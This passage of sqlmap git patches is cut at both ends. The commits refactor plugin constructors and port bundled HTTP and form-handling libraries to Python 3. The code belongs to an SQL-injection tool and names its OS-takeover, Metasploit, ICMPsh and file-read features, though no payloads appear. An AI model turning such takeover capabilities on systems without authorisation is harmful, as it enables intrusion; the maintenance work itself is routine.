3a1dde14de9..2f9a46a2450 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -9,9 +9,6 @@ from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - def __init__(self): - GenericConnector.__init__(self) - def connect(self): errMsg = "on SAP MaxDB it is not (currently) possible to establish a " errMsg += "direct connection" diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 3b66df52b04..ff23fab3003 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -9,9 +9,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def readFile(self, rFile): errMsg = "on SAP MaxDB reading of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index 71ffce4cd39..6e03dab9a85 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -8,9 +8,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 402766ff6ad..8b1d5d72eea 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index e1db71a8ce1..7d6220fde8e 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -23,11 +23,7 @@ class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.MSSQL] = Syntax.escape diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index ff2702e5bb9..17b33eec8a8 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -34,9 +34,6 @@ class Connector(GenericConnector): to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 72492d09005..56d952879d2 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -32,9 +32,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getPrivileges(self, *args): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 7207fa6f867..f7ac1402bf1 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -28,9 +28,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 949d95e9e3f..a19d3a92e4f 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -8,9 +8,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index c2c5d77f52e..a231ac8cb23 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -29,11 +29,7 @@ def __init__(self): "sys_bineval": {"return": "int"} } - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.MYSQL] = Syntax.escape diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 7f1b32abc99..f68e7b00486 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -30,9 +30,6 @@ class Connector(GenericConnector): Possible connectors: http://wiki.python.org/moin/MySQL """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 0f0f50657bf..35b6e42bb2a 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -8,5 +8,4 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) + pass \ No newline at end of file diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index a21a10d9956..808575f05bf 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -29,9 +29,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def nonStackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 560e092ae37..af89ae9971f 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -11,9 +11,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index e3c9bf2ddba..bdecccfcc83 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -23,11 +23,7 @@ class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.ORACLE] = Syntax.escape diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 07a276abcc9..db61707b588 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -31,9 +31,6 @@ class Connector(GenericConnector): License: https://cx-oracle.readthedocs.io/en/latest/license.html#license """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 24c0bdf54b6..805831590c5 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -24,9 +24,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getRoles(self, query2=False): infoMsg = "fetching database users roles" diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 96eb43fac3d..d5f7a16341c 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -9,9 +9,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def readFile(self, rFile): errMsg = "File system read access not yet implemented for " errMsg += "Oracle" diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index c64e404441a..71a43809c42 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -8,9 +8,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 47137f3ff68..4eadef0af64 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index e2d410870f1..73af3b9c81d 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -30,11 +30,7 @@ def __init__(self): "sys_fileread": {"input": ["text"], "return": "text"} } - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.PGSQL] = Syntax.escape diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index c220e255037..a7d4ec99d9a 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -29,9 +29,6 @@ class Connector(GenericConnector): Possible connectors: http://wiki.python.org/moin/PostgreSQL """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 41e82b5c7d2..1db588aa17d 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -10,9 +10,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" logger.warn(warnMsg) diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index e6e312d85c7..4f9d691fa36 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -8,9 +8,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 8aee6773c0d..adb73c5a1dd 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -23,9 +23,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def udfSetRemotePath(self): # On Windows if Backend.isOs(OS.WINDOWS): diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index c2628e7c677..0c0440c08af 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -23,11 +23,7 @@ class SQLiteMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = SQLITE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.SQLITE] = Syntax.escape diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 2eeb04ec71d..4330bc91a1a 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -10,9 +10,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" logger.warn(warnMsg) diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index f32c9e10acd..c57720e9fdd 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -9,9 +9,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def readFile(self, rFile): errMsg = "on SQLite it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 5d261647250..5a39528e19b 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -12,9 +12,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index ba9aa942de3..129866cd0ab 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 2abe5bb6a92..60d1903511d 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -23,11 +23,7 @@ class SybaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = SYBASE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.SYBASE] = Syntax.escape diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 2205c060865..b264d43063a 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -34,9 +34,6 @@ class Connector(GenericConnector): to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index c187cf9063f..2658bccd0d2 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -28,9 +28,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index e603ee530ce..0032f8c5cef 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -9,9 +9,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def readFile(self, rFile): errMsg = "on Sybase it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 230c6718939..a0492a89151 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -8,9 +8,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 210f3c2d526..0d2bf0891cd 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Sybase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 0897bcbdd93..fee1228abc3 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -30,9 +30,7 @@ from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry -from plugins.generic.misc import Miscellaneous - -class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): +class Takeover(Abstraction, Metasploit, ICMPsh, Registry): """ This class defines generic OS takeover functionalities for plugins. """ From 41c3139c019e5b4dc092d31ac2a5fa5a38f027e2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 17:39:21 +0100 Subject: [PATCH 189/800] Trivial update --- lib/core/settings.py | 2 +- lib/core/threads.py | 1 - lib/utils/har.py | 1 + 3 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b03f3e91bec..06cdfc02d18 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.64" +VERSION = "1.3.3.65" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 516cfb42d31..5b2e72797a5 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -8,7 +8,6 @@ from __future__ import print_function import difflib -import random import threading import time import traceback diff --git a/lib/utils/har.py b/lib/utils/har.py index cd165caa4af..5fa07632d30 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -14,6 +14,7 @@ from lib.core.bigarray import BigArray from lib.core.settings import VERSION from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer +from thirdparty.six.moves import http_client as _http_client # Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html # http://www.softwareishard.com/har/viewer/ From e56c422a8c860218f90a3e408fde2e1858de3206 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 17:56:37 +0100 Subject: [PATCH 190/800] Python3 is a game-changer and I won't loose my mind --- lib/core/settings.py | 2 +- sqlmap.py | 3 +- thirdparty/clientform/clientform.py | 8 +-- thirdparty/keepalive/keepalive.py | 77 +++++++++++++++-------------- thirdparty/odict/ordereddict.py | 5 +- 5 files changed, 52 insertions(+), 43 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 06cdfc02d18..f6b708080e3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.65" +VERSION = "1.3.3.66" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index bd613389688..f5976c55052 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -68,6 +68,7 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VERSION from lib.parse.cmdline import cmdLineParser + from thirdparty.six import PY2 except KeyboardInterrupt: errMsg = "user aborted" @@ -161,7 +162,7 @@ def main(): liveTest() else: from lib.controller.controller import start - if conf.profile: + if conf.profile and PY2: from lib.core.profiling import profile globals()["start"] = start profile() diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index a8c9196be22..2f5c18c8372 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -94,13 +94,13 @@ def _show_debug_messages(): _logger.addHandler(handler) try: - from six.moves import cStringIO as _cStringIO - from six.moves import urllib as _html_entities - from six.moves import urllib as _urllib -except ImportError: from thirdparty.six.moves import cStringIO as _cStringIO from thirdparty.six.moves import http_client as _html_entities from thirdparty.six.moves import urllib as _urllib +except ImportError: + from six.moves import cStringIO as _cStringIO + from six.moves import urllib as _html_entities + from six.moves import urllib as _urllib try: import sgmllib diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 4d11fa3ac7c..248f9686ccd 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -26,10 +26,10 @@ >>> import urllib2 >>> from keepalive import HTTPHandler >>> keepalive_handler = HTTPHandler() ->>> opener = urllib2.build_opener(keepalive_handler) ->>> urllib2.install_opener(opener) +>>> opener = _urllib.request.build_opener(keepalive_handler) +>>> _urllib.request.install_opener(opener) >>> ->>> fo = urllib2.urlopen('http://www.python.org') +>>> fo = _urllib.request.urlopen('http://www.python.org') If a connection to a given host is requested, and all of the existing connections are still in use, another connection will be opened. If @@ -105,8 +105,13 @@ from __future__ import print_function -import urllib2 -import httplib +try: + from thirdparty.six.moves import http_client as _http_client + from thirdparty.six.moves import urllib as _urllib +except ImportError: + from six.moves import http_client as _http_client + from six.moves import urllib as _urllib + import socket import thread @@ -214,7 +219,7 @@ def _remove_connection(self, host, connection, close=0): def do_open(self, req): host = req.host if not host: - raise urllib2.URLError('no host given') + raise _urllib.error.URLError('no host given') try: h = self._cm.get_ready_conn(host) @@ -238,8 +243,8 @@ def do_open(self, req): self._cm.add(host, h, 0) self._start_transaction(h, req) r = h.getresponse() - except (socket.error, httplib.HTTPException) as err: - raise urllib2.URLError(err) + except (socket.error, _http_client.HTTPException) as err: + raise _urllib.error.URLError(err) if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason) @@ -274,7 +279,7 @@ def _reuse_connection(self, h, req, host): r = h.getresponse() # note: just because we got something back doesn't mean it # worked. We'll check the version below, too. - except (socket.error, httplib.HTTPException): + except (socket.error, _http_client.HTTPException): r = None except: # adding this block just in case we've missed @@ -323,8 +328,8 @@ def _start_transaction(self, h, req): h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) else: h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - except (socket.error, httplib.HTTPException) as err: - raise urllib2.URLError(err) + except (socket.error, _http_client.HTTPException) as err: + raise _urllib.error.URLError(err) if not req.headers.has_key('Connection'): req.headers['Connection'] = 'keep-alive' @@ -341,7 +346,7 @@ def _start_transaction(self, h, req): def _get_connection(self, host): return NotImplementedError -class HTTPHandler(KeepAliveHandler, urllib2.HTTPHandler): +class HTTPHandler(KeepAliveHandler, _urllib.request.HTTPHandler): def __init__(self): KeepAliveHandler.__init__(self) @@ -351,7 +356,7 @@ def http_open(self, req): def _get_connection(self, host): return HTTPConnection(host) -class HTTPSHandler(KeepAliveHandler, urllib2.HTTPSHandler): +class HTTPSHandler(KeepAliveHandler, _urllib.request.HTTPSHandler): def __init__(self, ssl_factory=None): KeepAliveHandler.__init__(self) if not ssl_factory: @@ -369,7 +374,7 @@ def _get_connection(self, host): try: return self._ssl_factory.get_https_connection(host) except AttributeError: return HTTPSConnection(host) -class HTTPResponse(httplib.HTTPResponse): +class HTTPResponse(_http_client.HTTPResponse): # we need to subclass HTTPResponse in order to # 1) add readline() and readlines() methods # 2) add close_connection() methods @@ -391,9 +396,9 @@ class HTTPResponse(httplib.HTTPResponse): def __init__(self, sock, debuglevel=0, strict=0, method=None): if method: # the httplib in python 2.3 uses the method arg - httplib.HTTPResponse.__init__(self, sock, debuglevel, method) + _http_client.HTTPResponse.__init__(self, sock, debuglevel, method) else: # 2.2 doesn't - httplib.HTTPResponse.__init__(self, sock, debuglevel) + _http_client.HTTPResponse.__init__(self, sock, debuglevel) self.fileno = sock.fileno self.code = None self._method = method @@ -404,7 +409,7 @@ def __init__(self, sock, debuglevel=0, strict=0, method=None): self._url = None # (same) self._connection = None # (same) - _raw_read = httplib.HTTPResponse.read + _raw_read = _http_client.HTTPResponse.read def close(self): if self.fp: @@ -468,11 +473,11 @@ def readlines(self, sizehint = 0): return list -class HTTPConnection(httplib.HTTPConnection): +class HTTPConnection(_http_client.HTTPConnection): # use the modified response class response_class = HTTPResponse -class HTTPSConnection(httplib.HTTPSConnection): +class HTTPSConnection(_http_client.HTTPSConnection): response_class = HTTPResponse ######################################################################### @@ -483,14 +488,14 @@ def error_handler(url): global HANDLE_ERRORS orig = HANDLE_ERRORS keepalive_handler = HTTPHandler() - opener = urllib2.build_opener(keepalive_handler) - urllib2.install_opener(opener) + opener = _urllib.request.build_opener(keepalive_handler) + _urllib.request.install_opener(opener) pos = {0: 'off', 1: 'on'} for i in (0, 1): print(" fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)) HANDLE_ERRORS = i try: - fo = urllib2.urlopen(url) + fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() try: status, reason = fo.status, fo.reason @@ -510,25 +515,25 @@ def continuity(url): format = '%25s: %s' # first fetch the file with the normal http handler - opener = urllib2.build_opener() - urllib2.install_opener(opener) - fo = urllib2.urlopen(url) + opener = _urllib.request.build_opener() + _urllib.request.install_opener(opener) + fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() m = md5.new(foo) print(format % ('normal urllib', m.hexdigest())) # now install the keepalive handler and try again - opener = urllib2.build_opener(HTTPHandler()) - urllib2.install_opener(opener) + opener = _urllib.request.build_opener(HTTPHandler()) + _urllib.request.install_opener(opener) - fo = urllib2.urlopen(url) + fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() m = md5.new(foo) print(format % ('keepalive read', m.hexdigest())) - fo = urllib2.urlopen(url) + fo = _urllib.request.urlopen(url) foo = '' while 1: f = fo.readline() @@ -543,15 +548,15 @@ def comp(N, url): sys.stdout.write(' first using the normal urllib handlers') # first use normal opener - opener = urllib2.build_opener() - urllib2.install_opener(opener) + opener = _urllib.request.build_opener() + _urllib.request.install_opener(opener) t1 = fetch(N, url) print(' TIME: %.3f s' % t1) sys.stdout.write(' now using the keepalive handler ') # now install the keepalive handler and try again - opener = urllib2.build_opener(HTTPHandler()) - urllib2.install_opener(opener) + opener = _urllib.request.build_opener(HTTPHandler()) + _urllib.request.install_opener(opener) t2 = fetch(N, url) print(' TIME: %.3f s' % t2) print(' improvement factor: %.2f' % (t1/t2, )) @@ -562,7 +567,7 @@ def fetch(N, url, delay=0): starttime = time.time() for i in range(N): if delay and i > 0: time.sleep(delay) - fo = urllib2.urlopen(url) + fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() lens.append(len(foo)) @@ -584,7 +589,7 @@ def debug(self, msg, *args): print(msg % args) info = warning = error = debug DEBUG = FakeLogger() print(" fetching the file to establish a connection") - fo = urllib2.urlopen(url) + fo = _urllib.request.urlopen(url) data1 = fo.read() fo.close() @@ -598,7 +603,7 @@ def debug(self, msg, *args): print(msg % args) sys.stderr.write('\r') print(" fetching the file a second time") - fo = urllib2.urlopen(url) + fo = _urllib.request.urlopen(url) data2 = fo.read() fo.close() diff --git a/thirdparty/odict/ordereddict.py b/thirdparty/odict/ordereddict.py index 6884f791c4f..c2b77192674 100644 --- a/thirdparty/odict/ordereddict.py +++ b/thirdparty/odict/ordereddict.py @@ -20,7 +20,10 @@ # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. -from UserDict import DictMixin +try: + from UserDict import DictMixin +except ImportError: + from collections import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From 915bc1fc997615e1078521908dd2361746a230e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 11:22:38 +0100 Subject: [PATCH 191/800] Fixes #3556 --- lib/core/settings.py | 2 +- lib/utils/search.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f6b708080e3..00bc586ce80 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.66" +VERSION = "1.3.3.67" TYPE = "dev" if 